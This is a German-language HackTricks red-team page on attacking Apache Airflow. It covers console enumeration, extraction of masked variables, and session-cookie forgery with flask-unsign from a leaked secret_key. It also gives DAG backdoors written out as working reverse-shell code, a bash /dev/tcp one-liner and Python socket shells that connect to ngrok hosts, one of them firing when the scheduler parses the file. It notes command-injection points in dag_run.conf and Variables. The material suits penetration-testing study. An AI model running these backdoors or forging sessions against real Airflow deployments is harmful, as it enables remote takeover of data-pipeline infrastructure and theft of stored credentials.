Apache Airflow Security

Erlernen Sie AWS-Hacking von Grund auf mit htARTE (HackTricks AWS Red Team Expert)!

Andere Möglichkeiten, HackTricks zu unterstützen:

Grundlegende Informationen

Apache Airflow dient als Plattform zur Orchestrierung und Planung von Datenpipelines oder Workflows. Der Begriff "Orchestrierung" im Kontext von Datenpipelines bezeichnet den Prozess des Anordnens, Koordinierens und Verwaltens komplexer Datenworkflows, die aus verschiedenen Quellen stammen. Der Hauptzweck dieser orchestrierten Datenpipelines besteht darin, verarbeitete und nutzbare Datensätze bereitzustellen. Diese Datensätze werden von einer Vielzahl von Anwendungen umfassend genutzt, einschließlich, aber nicht beschränkt auf Business-Intelligence-Tools, Datenwissenschaft und Machine-Learning-Modelle, die alle grundlegend für die Funktionsweise von Big-Data-Anwendungen sind.

Grundsätzlich ermöglicht Ihnen Apache Airflow, die Ausführung von Code zu planen, wenn etwas (Ereignis, Cron) geschieht.

Lokales Labor

Docker-Compose

Sie können die Docker-Compose-Konfigurationsdatei von https://raw.githubusercontent.com/apache/airflow/main/docs/apache-airflow/start/docker-compose.yaml verwenden, um eine vollständige Apache Airflow Docker-Umgebung zu starten. (Wenn Sie auf MacOS sind, stellen Sie sicher, dass Sie der Docker-VM mindestens 6 GB RAM zuweisen).

Minikube

Eine einfache Möglichkeit, Apache Airflow auszuführen, besteht darin, es mit Minikube auszuführen:

helm repo add airflow-stable https://airflow-helm.github.io/charts
helm repo update
helm install airflow-release airflow-stable/airflow
# Some information about how to aceess the web console will appear after this command

# Use this command to delete it
helm delete airflow-release

Airflow Konfiguration

Airflow könnte sensible Informationen in seiner Konfiguration speichern oder es könnten schwache Konfigurationen vorhanden sein:

pageAirflow Configuration

Airflow RBAC

Bevor Sie Airflow angreifen, sollten Sie verstehen, wie Berechtigungen funktionieren:

pageAirflow RBAC

Angriffe

Web-Konsolen-Auflistung

Wenn Sie Zugriff auf die Web-Konsole haben, könnten Sie möglicherweise auf einige oder alle der folgenden Informationen zugreifen:

  • Variablen (Benutzerdefinierte sensible Informationen könnten hier gespeichert sein)

  • Verbindungen (Benutzerdefinierte sensible Informationen könnten hier gespeichert sein)

  • Greifen Sie auf sie zu unter http://<airflow>/connection/list/

  • Konfiguration (Sensible Informationen wie der secret_key und Passwörter könnten hier gespeichert sein)

  • Liste der Benutzer & Rollen

  • Code jeder DAG (der möglicherweise interessante Informationen enthält)

Abrufen von Variablenwerten

Variablen können in Airflow gespeichert werden, damit die DAGs auf ihre Werte zugreifen können. Es ist ähnlich wie bei Geheimnissen anderer Plattformen. Wenn Sie ausreichende Berechtigungen haben, können Sie auf sie im GUI unter http://<airflow>/variable/list/ zugreifen. Standardmäßig zeigt Airflow den Wert der Variablen im GUI an, jedoch ist es gemäß diesem möglich, eine Liste von Variablen festzulegen, deren Wert im GUI als Sternchen angezeigt wird.

Diese Werte können jedoch immer noch über CLI (Zugriff auf die DB erforderlich), beliebige DAG-Ausführung, API-Zugriff auf den Variablen-Endpunkt (die API muss aktiviert sein) und sogar das GUI selbst! abgerufen werden. Um auf diese Werte aus dem GUI zuzugreifen, wählen Sie einfach die Variablen aus, auf die Sie zugreifen möchten, und klicken Sie auf Aktionen -> Export. Ein weiterer Weg ist, eine Brute-Force auf den versteckten Wert durchzuführen, indem Sie ihn mit der Suchfilterung suchen, bis Sie ihn erhalten:

Privilege Escalation

Wenn die Konfiguration expose_config auf True gesetzt ist, können ab der Rolle Benutzer aufwärts die Konfiguration im Web lesen. In dieser Konfiguration erscheint der secret_key, was bedeutet, dass jeder Benutzer mit diesem gültigen Schlüssel seinen eigenen signierten Cookie erstellen kann, um ein beliebiges anderes Benutzerkonto zu imitieren.

flask-unsign --sign --secret '<secret_key>' --cookie "{'_fresh': True, '_id': '12345581593cf26619776d0a1e430c412171f4d12a58d30bef3b2dd379fc8b3715f2bd526eb00497fcad5e270370d269289b65720f5b30a39e5598dad6412345', '_permanent': True, 'csrf_token': '09dd9e7212e6874b104aad957bbf8072616b8fbc', 'dag_status_filter': 'all', 'locale': 'en', 'user_id': '1'}"

DAG Backdoor (RCE in Airflow worker)

Wenn Sie Schreibzugriff auf den Ort haben, an dem die DAGs gespeichert sind, können Sie einfach einen erstellen, der Ihnen eine umgekehrte Shell sendet. Beachten Sie, dass diese umgekehrte Shell innerhalb eines Airflow-Worker-Containers ausgeführt wird:

import pendulum
from airflow import DAG
from airflow.operators.bash import BashOperator

with DAG(
dag_id='rev_shell_bash',
schedule_interval='0 0 * * *',
start_date=pendulum.datetime(2021, 1, 1, tz="UTC"),
) as dag:
run = BashOperator(
task_id='run',
bash_command='bash -i >& /dev/tcp/8.tcp.ngrok.io/11433  0>&1',
)
import pendulum, socket, os, pty
from airflow import DAG
from airflow.operators.python import PythonOperator

def rs(rhost, port):
s = socket.socket()
s.connect((rhost, port))
[os.dup2(s.fileno(),fd) for fd in (0,1,2)]
pty.spawn("/bin/sh")

with DAG(
dag_id='rev_shell_python',
schedule_interval='0 0 * * *',
start_date=pendulum.datetime(2021, 1, 1, tz="UTC"),
) as dag:
run = PythonOperator(
task_id='rs_python',
python_callable=rs,
op_kwargs={"rhost":"8.tcp.ngrok.io", "port": 11433}
)

DAG Backdoor (RCE in Airflow Scheduler)

Wenn Sie etwas im Stamm des Codes ausführen, wird es zum Zeitpunkt des Verfassens dieses Textes vom Scheduler ausgeführt, ein paar Sekunden nachdem es im DAG-Ordner platziert wurde.

import pendulum, socket, os, pty
from airflow import DAG
from airflow.operators.python import PythonOperator

def rs(rhost, port):
s = socket.socket()
s.connect((rhost, port))
[os.dup2(s.fileno(),fd) for fd in (0,1,2)]
pty.spawn("/bin/sh")

rs("2.tcp.ngrok.io", 14403)

with DAG(
dag_id='rev_shell_python2',
schedule_interval='0 0 * * *',
start_date=pendulum.datetime(2021, 1, 1, tz="UTC"),
) as dag:
run = PythonOperator(
task_id='rs_python2',
python_callable=rs,
op_kwargs={"rhost":"2.tcp.ngrok.io", "port": 144}

DAG-Erstellung

Wenn es Ihnen gelingt, eine Maschine innerhalb des DAG-Clusters zu kompromittieren, können Sie neue DAG-Skripte im dags/-Ordner erstellen, die dann in den anderen Maschinen im DAG-Cluster repliziert werden.

DAG-Codeinjektion

Wenn Sie einen DAG aus der GUI ausführen, können Sie Argumente übergeben. Daher könnte der DAG anfällig für Befehlsinjektion sein, wenn er nicht ordnungsgemäß codiert ist. Das ist das, was bei dieser CVE passiert ist: https://www.exploit-db.com/exploits/49927

Alles, was Sie wissen müssen, um nach Befehlsinjektionen in DAGs zu suchen, ist, dass Parameter mit dem Code dag_run.conf.get("param_name") abgerufen werden.

Darüber hinaus könnte dieselbe Schwachstelle bei Variablen auftreten (beachten Sie, dass Sie mit ausreichenden Berechtigungen den Wert der Variablen in der GUI steuern könnten). Variablen werden mit abgerufen:

from airflow.models import Variable
[...]
foo = Variable.get("foo")

Wenn sie zum Beispiel innerhalb eines Bash-Befehls verwendet werden, könnten Sie eine Befehlsinjektion durchführen.

Erlernen Sie AWS-Hacking von Null auf Held mit htARTE (HackTricks AWS Red Team Expert)!

Andere Möglichkeiten, HackTricks zu unterstützen:

Last updated